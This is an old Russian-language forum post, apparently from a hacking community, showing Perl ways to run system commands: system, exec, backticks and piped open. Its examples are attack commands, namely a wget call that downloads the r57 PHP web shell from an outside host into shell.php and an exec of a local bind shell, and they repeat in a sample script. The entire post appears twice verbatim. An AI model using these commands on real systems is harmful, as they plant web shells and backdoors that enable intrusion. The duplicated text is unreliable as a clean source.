DetMyl
06.04.2006, 16:46
Выполнение системных комманд под перлом
1: Просто выполняем комманду но не получаем вывода:
system("wget –O shell.php rst.void.ru/download/r57shell.txt ");
2: Передаем выполнение другой программе,
в этом случае исполнение текущей прерывается:
exec("./bindshell");
3: Выполняем комманду и сохраняем вывод в переменной:
Строка заключенная вот в такие кавычки ``( backticks) или
в qx#string#(##это просто разделители, их можно выбирать самому)
сначала интерпретируется (т.е. рассматривается значение переменных в этой строке ),
а потом передается системному интерпретатору на выполнение.
Здесь 2 варианта:
а) если мы получим только одну строку chomp($date = qx#/usr/bin/date#); или
chomp($date = `/usr/bin/date`);
б) если мы планируем получить многострочный вывод:
chomp(@alllines = qx#/usr/bin/who#); или
chomp(@alllines = `/usr/bin/who`);
chomp() служит для удаления переноса строки - \n.
4: open() и „Пайпинг“
Чтобы выполнить внешную комманду есть возможность использовать комманду open:
Перл открывает пайп вместо файла, если во втором параметре первый или последний
символ это |.
Обычно в инклудах пишут пайп последним, перед ним комманду,вывод которой
запишется в INFILE, т.е. используется нормальный способ работы в никсах
пример: "echo juh|" выдаст нам juh :)
Вот небольшой пример всех способов:
---------------------------------------
#!/cygdrive/c/Perl/bin/perl -w
use strict;
my @lines;
chomp(my $date = qx#date#);
print $date;
system("wget -O shell.php rst.void.ru/download/r57shell.txt ");
open (DET,"|echo 'juh' >> shell.php");
open (DET,"cat shell.php |");
@lines = <DET>;
foreach my $line (@lines) {
print $line;
}
close(DET);
exec("echo 'ZHu-Zhu'");
echo ("No No, suda ne popadajem");
------------------------------------------------
При написании пользовался
http://builder.com.com/5100-6372-1050920.html (!точно по теме!)
http://www.well.ox.ac.uk/~johnb/comp/perl/intro.html
http://www.unix.org.ua/perl/op.htm
1: Просто выполняем комманду но не получаем вывода:
system("wget –O shell.php rst.void.ru/download/r57shell.txt ");
2: Передаем выполнение другой программе,
в этом случае исполнение текущей прерывается:
exec("./bindshell");
3: Выполняем комманду и сохраняем вывод в переменной:
Строка заключенная вот в такие кавычки ``( backticks) или
в qx#string#(##это просто разделители, их можно выбирать самому)
сначала интерпретируется (т.е. рассматривается значение переменных в этой строке ),
а потом передается системному интерпретатору на выполнение.
Здесь 2 варианта:
а) если мы получим только одну строку chomp($date = qx#/usr/bin/date#); или
chomp($date = `/usr/bin/date`);
б) если мы планируем получить многострочный вывод:
chomp(@alllines = qx#/usr/bin/who#); или
chomp(@alllines = `/usr/bin/who`);
chomp() служит для удаления переноса строки - \n.
4: open() и „Пайпинг“
Чтобы выполнить внешную комманду есть возможность использовать комманду open:
Перл открывает пайп вместо файла, если во втором параметре первый или последний
символ это |.
Обычно в инклудах пишут пайп последним, перед ним комманду,вывод которой
запишется в INFILE, т.е. используется нормальный способ работы в никсах
пример: "echo juh|" выдаст нам juh :)
Вот небольшой пример всех способов:
---------------------------------------
#!/cygdrive/c/Perl/bin/perl -w
use strict;
my @lines;
chomp(my $date = qx#date#);
print $date;
system("wget -O shell.php rst.void.ru/download/r57shell.txt ");
open (DET,"|echo 'juh' >> shell.php");
open (DET,"cat shell.php |");
@lines = <DET>;
foreach my $line (@lines) {
print $line;
}
close(DET);
exec("echo 'ZHu-Zhu'");
echo ("No No, suda ne popadajem");
------------------------------------------------
При написании пользовался
http://builder.com.com/5100-6372-1050920.html (!точно по теме!)
http://www.well.ox.ac.uk/~johnb/comp/perl/intro.html
http://www.unix.org.ua/perl/op.htm